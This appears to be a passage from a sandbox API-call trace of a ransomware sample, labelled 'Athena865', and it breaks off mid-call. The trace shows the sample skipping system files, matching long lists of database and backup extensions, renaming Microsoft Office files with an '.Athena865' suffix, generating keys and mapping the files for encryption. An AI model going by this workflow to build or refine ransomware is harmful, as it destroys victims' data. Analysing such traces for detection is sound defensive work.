[0069.973] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0069.973] lstrlenW (lpString="rpd") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0069.973] lstrlenW (lpString="rsd") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0069.973] lstrlenW (lpString="sas7bdat") returned 8 [0069.973] lstrcmpiW (lpString1="LT32.DLL", lpString2="sas7bdat") returned -1 [0069.973] lstrlenW (lpString="sbf") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0069.973] lstrlenW (lpString="scx") returned 3 [0069.973] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0069.974] lstrlenW (lpString="sdb") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0069.974] lstrlenW (lpString="sdc") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0069.974] lstrlenW (lpString="sdf") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0069.974] lstrlenW (lpString="sis") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0069.974] lstrlenW (lpString="spq") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0069.974] lstrlenW (lpString="te") returned 2 [0069.974] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0069.974] lstrlenW (lpString="teacher") returned 7 [0069.974] lstrcmpiW (lpString1="T32.DLL", lpString2="teacher") returned -1 [0069.974] lstrlenW (lpString="tmd") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0069.974] lstrlenW (lpString="tps") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0069.974] lstrlenW (lpString="trc") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.974] lstrlenW (lpString="trc") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0069.974] lstrlenW (lpString="trm") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0069.974] lstrlenW (lpString="udb") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0069.974] lstrlenW (lpString="udl") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0069.974] lstrlenW (lpString="usr") returned 3 [0069.974] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0069.974] lstrlenW (lpString="v12") returned 3 [0069.975] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0069.975] lstrlenW (lpString="vis") returned 3 [0069.975] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0069.975] lstrlenW (lpString="vpd") returned 3 [0069.975] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0069.975] lstrlenW (lpString="vvv") returned 3 [0069.975] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0069.975] lstrlenW (lpString="wdb") returned 3 [0069.975] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0069.975] lstrlenW (lpString="wmdb") returned 4 [0069.975] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0069.975] lstrlenW (lpString="wrk") returned 3 [0069.975] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0069.975] lstrlenW (lpString="xdb") returned 3 [0069.975] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0069.975] lstrlenW (lpString="xld") returned 3 [0069.975] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0069.975] lstrlenW (lpString="xmlff") returned 5 [0069.975] lstrcmpiW (lpString1="2.DLL", lpString2="xmlff") returned -1 [0069.975] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL.Athena865") returned 65 [0069.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll.athena865"), dwFlags=0x1) returned 1 [0069.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMABLT32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\emablt32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0069.980] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=154496) returned 1 [0069.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0069.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0069.980] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0069.981] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0069.981] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0069.981] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.982] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x25e80, lpName=0x0) returned 0x154 [0069.984] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x25e80) returned 0x170000 [0069.992] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0069.993] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0069.993] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0069.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0069.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0069.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0069.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0069.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0069.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0069.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0069.993] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0069.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0069.994] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0069.995] CloseHandle (hObject=0x154) returned 1 [0069.995] CloseHandle (hObject=0x17c) returned 1 [0069.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0069.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0069.995] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0069.996] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x60903850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x206fb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EMSMDB32.DLL", cAlternateFileName="")) returned 1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2=".") returned 1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="..") returned 1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="windows") returned -1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="bootmgr") returned 1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="temp") returned -1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="pagefile.sys") returned -1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="boot") returned 1 [0069.996] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="ids.txt") returned -1 [0069.997] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="ntuser.dat") returned -1 [0069.997] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="perflogs") returned -1 [0069.997] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2="MSBuild") returned -1 [0069.997] lstrlenW (lpString="EMSMDB32.DLL") returned 12 [0069.997] lstrcpyW (in: lpString1=0x241e89e, lpString2="EMSMDB32.DLL" | out: lpString1="EMSMDB32.DLL") returned="EMSMDB32.DLL" [0069.997] lstrlenW (lpString="EMSMDB32.DLL") returned 12 [0069.997] lstrlenW (lpString="Athena865") returned 9 [0069.997] lstrcmpiW (lpString1="MDB32.DLL", lpString2="Athena865") returned 1 [0069.997] lstrlenW (lpString=".dll") returned 4 [0069.997] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2=".dll") returned 1 [0069.997] lstrlenW (lpString=".lnk") returned 4 [0069.997] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2=".lnk") returned 1 [0069.997] lstrlenW (lpString=".ini") returned 4 [0069.997] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2=".ini") returned 1 [0069.997] lstrlenW (lpString=".sys") returned 4 [0069.997] lstrcmpiW (lpString1="EMSMDB32.DLL", lpString2=".sys") returned 1 [0069.997] lstrlenW (lpString="EMSMDB32.DLL") returned 12 [0069.997] lstrlenW (lpString="bak") returned 3 [0069.997] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0069.997] lstrlenW (lpString="ba_") returned 3 [0069.997] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0069.997] lstrlenW (lpString="dbb") returned 3 [0069.997] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0069.997] lstrlenW (lpString="vmdk") returned 4 [0069.997] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0069.997] lstrlenW (lpString="rar") returned 3 [0069.997] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0069.997] lstrlenW (lpString="zip") returned 3 [0069.997] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0069.997] lstrlenW (lpString="tgz") returned 3 [0069.997] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0069.997] lstrlenW (lpString="vbox") returned 4 [0069.998] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0069.998] lstrlenW (lpString="vdi") returned 3 [0069.998] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0069.998] lstrlenW (lpString="vhd") returned 3 [0069.998] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0069.998] lstrlenW (lpString="vhdx") returned 4 [0069.998] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0069.998] lstrlenW (lpString="avhd") returned 4 [0069.998] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0069.998] lstrlenW (lpString="db") returned 2 [0069.998] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0069.998] lstrlenW (lpString="db2") returned 3 [0069.998] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0069.998] lstrlenW (lpString="db3") returned 3 [0069.998] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0069.998] lstrlenW (lpString="dbf") returned 3 [0069.998] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0069.998] lstrlenW (lpString="mdf") returned 3 [0069.998] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0069.998] lstrlenW (lpString="mdb") returned 3 [0069.998] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0069.998] lstrlenW (lpString="sql") returned 3 [0069.998] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0069.998] lstrlenW (lpString="sqlite") returned 6 [0069.998] lstrcmpiW (lpString1="32.DLL", lpString2="sqlite") returned -1 [0069.998] lstrlenW (lpString="sqlite3") returned 7 [0069.998] lstrcmpiW (lpString1="B32.DLL", lpString2="sqlite3") returned -1 [0069.998] lstrlenW (lpString="sqlitedb") returned 8 [0069.998] lstrcmpiW (lpString1="DB32.DLL", lpString2="sqlitedb") returned -1 [0069.998] lstrlenW (lpString="xml") returned 3 [0069.999] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0069.999] lstrlenW (lpString="$er") returned 3 [0069.999] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0069.999] lstrlenW (lpString="4dd") returned 3 [0069.999] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0069.999] lstrlenW (lpString="4dl") returned 3 [0069.999] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0069.999] lstrlenW (lpString="^^^") returned 3 [0069.999] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0069.999] lstrlenW (lpString="abs") returned 3 [0069.999] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0069.999] lstrlenW (lpString="abx") returned 3 [0069.999] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0069.999] lstrlenW (lpString="accdb") returned 5 [0069.999] lstrcmpiW (lpString1="2.DLL", lpString2="accdb") returned -1 [0069.999] lstrlenW (lpString="accdc") returned 5 [0069.999] lstrcmpiW (lpString1="2.DLL", lpString2="accdc") returned -1 [0069.999] lstrlenW (lpString="accde") returned 5 [0069.999] lstrcmpiW (lpString1="2.DLL", lpString2="accde") returned -1 [0069.999] lstrlenW (lpString="accdr") returned 5 [0069.999] lstrcmpiW (lpString1="2.DLL", lpString2="accdr") returned -1 [0069.999] lstrlenW (lpString="accdt") returned 5 [0069.999] lstrcmpiW (lpString1="2.DLL", lpString2="accdt") returned -1 [0069.999] lstrlenW (lpString="accdw") returned 5 [0069.999] lstrcmpiW (lpString1="2.DLL", lpString2="accdw") returned -1 [0069.999] lstrlenW (lpString="accft") returned 5 [0070.000] lstrcmpiW (lpString1="2.DLL", lpString2="accft") returned -1 [0070.000] lstrlenW (lpString="adb") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0070.000] lstrlenW (lpString="adb") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0070.000] lstrlenW (lpString="ade") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0070.000] lstrlenW (lpString="adf") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0070.000] lstrlenW (lpString="adn") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0070.000] lstrlenW (lpString="adp") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0070.000] lstrlenW (lpString="alf") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0070.000] lstrlenW (lpString="ask") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0070.000] lstrlenW (lpString="btr") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0070.000] lstrlenW (lpString="cat") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0070.000] lstrlenW (lpString="cdb") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0070.000] lstrlenW (lpString="ckp") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0070.000] lstrlenW (lpString="cma") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0070.000] lstrlenW (lpString="cpd") returned 3 [0070.000] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0070.000] lstrlenW (lpString="dacpac") returned 6 [0070.000] lstrcmpiW (lpString1="32.DLL", lpString2="dacpac") returned -1 [0070.001] lstrlenW (lpString="dad") returned 3 [0070.001] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0070.001] lstrlenW (lpString="dadiagrams") returned 10 [0070.001] lstrcmpiW (lpString1="SMDB32.DLL", lpString2="dadiagrams") returned 1 [0070.001] lstrlenW (lpString="daschema") returned 8 [0070.001] lstrcmpiW (lpString1="DB32.DLL", lpString2="daschema") returned 1 [0070.001] lstrlenW (lpString="db-journal") returned 10 [0070.001] lstrcmpiW (lpString1="SMDB32.DLL", lpString2="db-journal") returned 1 [0070.001] lstrlenW (lpString="db-shm") returned 6 [0070.001] lstrcmpiW (lpString1="32.DLL", lpString2="db-shm") returned -1 [0070.001] lstrlenW (lpString="db-wal") returned 6 [0070.001] lstrcmpiW (lpString1="32.DLL", lpString2="db-wal") returned -1 [0070.001] lstrlenW (lpString="dbc") returned 3 [0070.001] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0070.001] lstrlenW (lpString="dbs") returned 3 [0070.001] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0070.001] lstrlenW (lpString="dbt") returned 3 [0070.001] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0070.001] lstrlenW (lpString="dbv") returned 3 [0070.001] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0070.001] lstrlenW (lpString="dbx") returned 3 [0070.001] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0070.001] lstrlenW (lpString="dcb") returned 3 [0070.001] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0070.001] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0070.002] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.Athena865") returned 65 [0070.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.athena865"), dwFlags=0x1) returned 1 [0070.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\EMSMDB32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\emsmdb32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.003] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2125752) returned 1 [0070.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.004] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.005] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.005] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.005] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2072c0, lpName=0x0) returned 0x154 [0070.006] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x72c0) returned 0x100000 [0070.127] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.128] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.128] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0070.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0070.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b690 [0070.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0070.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b690 | out: hHeap=0x4f0000) returned 1 [0070.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0070.129] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0070.130] CloseHandle (hObject=0x154) returned 1 [0070.130] CloseHandle (hObject=0x17c) returned 1 [0070.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0070.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0070.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0070.139] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5807500, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x609299b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb5807500, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x46c86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENGDIC.DAT", cAlternateFileName="")) returned 1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2=".") returned 1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="..") returned 1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="windows") returned -1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="bootmgr") returned 1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="temp") returned -1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="pagefile.sys") returned -1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="boot") returned 1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="ids.txt") returned -1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="ntuser.dat") returned -1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="perflogs") returned -1 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2="MSBuild") returned -1 [0070.139] lstrlenW (lpString="ENGDIC.DAT") returned 10 [0070.139] lstrcpyW (in: lpString1=0x241e89e, lpString2="ENGDIC.DAT" | out: lpString1="ENGDIC.DAT") returned="ENGDIC.DAT" [0070.139] lstrlenW (lpString="ENGDIC.DAT") returned 10 [0070.139] lstrlenW (lpString="Athena865") returned 9 [0070.139] lstrcmpiW (lpString1="NGDIC.DAT", lpString2="Athena865") returned 1 [0070.139] lstrlenW (lpString=".dll") returned 4 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2=".dll") returned 1 [0070.139] lstrlenW (lpString=".lnk") returned 4 [0070.139] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2=".lnk") returned 1 [0070.139] lstrlenW (lpString=".ini") returned 4 [0070.140] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2=".ini") returned 1 [0070.140] lstrlenW (lpString=".sys") returned 4 [0070.140] lstrcmpiW (lpString1="ENGDIC.DAT", lpString2=".sys") returned 1 [0070.140] lstrlenW (lpString="ENGDIC.DAT") returned 10 [0070.140] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT.Athena865") returned 63 [0070.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat.athena865"), dwFlags=0x1) returned 1 [0070.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ENGDIC.DAT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\engdic.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0070.141] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=289926) returned 1 [0070.141] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0070.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0070.142] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0070.142] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0070.143] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0070.143] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.143] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x46f90, lpName=0x0) returned 0x154 [0070.144] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x46f90) returned 0x2d50000 [0070.157] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0070.158] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0070.158] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0070.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0070.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0070.158] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b690 [0070.158] RtlAllocateHeap 